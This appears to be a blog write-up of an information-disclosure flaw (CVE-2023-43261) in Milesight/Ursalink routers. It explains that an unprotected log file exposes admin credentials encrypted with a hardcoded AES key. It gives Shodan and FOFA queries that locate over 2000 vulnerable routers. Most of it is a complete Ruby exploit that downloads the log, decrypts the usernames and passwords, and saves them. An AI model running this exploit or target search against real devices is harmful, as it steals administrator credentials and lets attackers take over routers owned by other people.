Milesight ursalink routers information disclosure to authentication bypass
"An information disclosure in Milesight UR5X, UR32L, UR32, UR35, UR41 before v35.3.0.7 allows attackers to access sensitive router components."
-nvd.nist.gov
Sensitive information on ursalink milesight routers can be easily viewed without any restriction at the URL path /lang/log/httpd.log,
this file contains AES-128-CBC encrypted credentials including the admin username and password.
[*] milesight_logfile.png [*] milesight_dashboard.png
These credentials can be decrypted due to the hardcoded AES key in a javascript file.
Reference: win3zz
Looking for vulnerable targets
A shodan dork to search milesight routers is http.html:rt_title ,
I went through this to ensure only the vulnerable results and found this FOFA query: fid="GbJynh0UR3NG6v4f7DclRQ=="
As we can se, it's giving more than 2000 vulnerable routers.
[*] fofa_milesight.png
Exploit code
I wrote this ruby exploit based on details i read online
require 'http'
require 'openssl'
puts """
CVE-2023-43261
Milesight routers information disclosure exploit
By komodo\n
"""
def d64(text)
return text.unpack("m")[0]
end
$cont=1
$dirname="Milesight_dump"
def dir(name=$dirname)
begin
Dir.mkdir(name)
Dir.chdir(name)
rescue Errno::EEXIST
$cont+=1
dir("#{$dirname}-#{$cont}")
end
end
def decrypt(password)
begin
cipher = OpenSSL::Cipher.new('AES-128-CBC')
cipher.decrypt
cipher.key, cipher.iv = "1"*16, "2"*16
decrypted_data = cipher.update(d64(password))+cipher.final
return decrypted_data.unpack('C*').pack('C*').force_encoding('utf-8').to_s
rescue
return password
end
end
def main(url)
url.delete_suffix!("/") unless url[-1..-1] != "/"
@ctx = OpenSSL::SSL::SSLContext.new()
@ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE
r=HTTP.get("#{url}/lang/log/httpd.log", :ssl_context=>@ctx)
if r.code == 200 && r.body.to_s.include?("password")
dir()
File.open("!target.txt", "w"){|f|f.write(url)}
credentials = r.body.to_s.scan(/"username":"(.+?)","password":"(.+?)"/)
log = File.open("credentials.txt", "w")
credentials.each do |username, password|
log.write("Username: #{username}, Password: #{decrypt(password)}\n")
end
log.close()
puts File.read("credentials.txt")
puts "\nCredentials saved on '#{Dir.pwd.split("/")[-1]}/credentials.txt' file."
else
puts "Not vulnerable! :(\n"
end
end
begin
print "Base URL: "
main(gets.chomp)
rescue => e
abort(e.to_s)
end
[*] exploit_execution.png
The speed of exploiting the vulnerability from this code snippet varies depending on how large the file containing the encrypted credentials is.